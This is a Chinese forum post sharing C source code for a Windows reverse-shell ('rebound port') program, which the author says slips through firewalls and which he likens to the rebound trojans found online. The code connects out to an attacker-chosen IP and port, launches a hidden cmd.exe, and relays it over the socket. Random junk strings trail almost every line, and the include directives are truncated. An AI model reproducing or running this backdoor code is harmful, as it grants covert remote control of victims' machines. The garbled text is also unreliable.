社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3019阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 axonqSf  
,k+jx53XV  
/* ============================== _N0x&9S$  
Rebound port in Windows NT q$~S?X5\  
By wind,2006/7 Fu!:8Wp!(  
===============================*/ $A8eMJEpL  
#include c;B Q$je}  
#include :KMo'pL  
(a@cK,  
#pragma comment(lib,"wsock32.lib") b{(!Ls_ &  
WcbJ4Ore  
void OutputShell(); qS+'#Sn  
SOCKET sClient; SQWA{f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :.DCRs$Q  
Cf2rRH  
void main(int argc,char **argv) YtxBkKiJ2V  
{ Z;SRW92@  
WSADATA stWsaData; UFC.!t-Z  
int nRet; : :e=6i  
SOCKADDR_IN stSaiClient,stSaiServer; V]`V3cy1+3  
!V7VM_}@Y  
if(argc != 3) ^7~=+0cF]  
{ mJ !}!~:  
printf("Useage:\n\rRebound DestIP DestPort\n"); W^P%k:anK  
return; .@/5Ln  
} kSoAnJ|  
N y7VIh|  
WSAStartup(MAKEWORD(2,2),&stWsaData); %t:1)]2  
pjrVPi5&t  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x.>z2.  
Kx ?}%@b  
stSaiClient.sin_family = AF_INET; ]l}8  
stSaiClient.sin_port = htons(0); L)HuQVc g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LHR%dt|M  
wC..LdSR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qA Jgz7=c  
{ =DG aK0n  
printf("Bind Socket Failed!\n"); ]'DtuT?Z  
return; ukzXQe;l1  
} nYTI\f/8v  
}us%G&A2u  
stSaiServer.sin_family = AF_INET; _dIv{L!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _H<ur?G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Y2h vC  
C(7LwV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hg*6I%D[So  
{ xGPt5l<M&  
printf("Connect Error!"); V?0|#=_mE  
return; (*^_ wq-;  
} / QSK$ZDC  
OutputShell(); 3[-L'!pOX3  
} 8mV`|2>  
>=r094<  
void OutputShell() aG`G$3_wx  
{ ~Se/uL;*  
char szBuff[1024]; FwmE1,  
SECURITY_ATTRIBUTES stSecurityAttributes; on\0i{0l8  
OSVERSIONINFO stOsversionInfo; =/V r,y$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >eWHPO  
STARTUPINFO stStartupInfo; \ bd? `."  
char *szShell; a~:'OW:Q  
PROCESS_INFORMATION stProcessInformation; 4$1sBY/  
unsigned long lBytesRead; xH; 4lw  
MpGWt#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c R[DT04  
J:M^oA'N:>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P_lk4 0X  
stSecurityAttributes.lpSecurityDescriptor = 0; f:=q=i  
stSecurityAttributes.bInheritHandle = TRUE; }V6}>!Sb  
&HT P eB  
|JnJ=@-y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6 @'v6 1'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vAHJP$x  
=Q[ 5U9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Go+f0aig  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e nDjP  
stStartupInfo.wShowWindow = SW_HIDE; i[T!{<  
stStartupInfo.hStdInput = hReadPipe; q71Tg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;, 'eO i  
$l0^2o=  
GetVersionEx(&stOsversionInfo); haqL DVrf  
cuW$%$ F  
switch(stOsversionInfo.dwPlatformId) $*`fn{2  
{ . m@Sk`s  
case 1: !sK{:6s  
szShell = "command.com"; 5lVDYmh  
break; A ElNf:  
default: .y#@~H($  
szShell = "cmd.exe"; p@YU7_sF^!  
break; GwxfnC Ki9  
} QVQe9{ "0  
Ym2![FC1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3' mQ=tKa  
YDz:;Sp\  
send(sClient,szMsg,77,0); 87r#;ND  
while(1) nhiCV>@y  
{  G\ru%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X3<<f`X  
if(lBytesRead) Ycn*aR2  
{ n;/yo~RR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )Uo)3FAn  
send(sClient,szBuff,lBytesRead,0); qIuY2b`6  
} s{'r'`z.  
else sMs 0*B-[  
{ #92MI#|n9  
lBytesRead=recv(sClient,szBuff,1024,0); <vhlT#p   
if(lBytesRead<=0) break; m7cp0+Peo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [Xg?sdQCI  
} tb"UGa  
} v`*!Bhc-  
"b|qyT* Sl  
return; tg7%@SI5^-  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五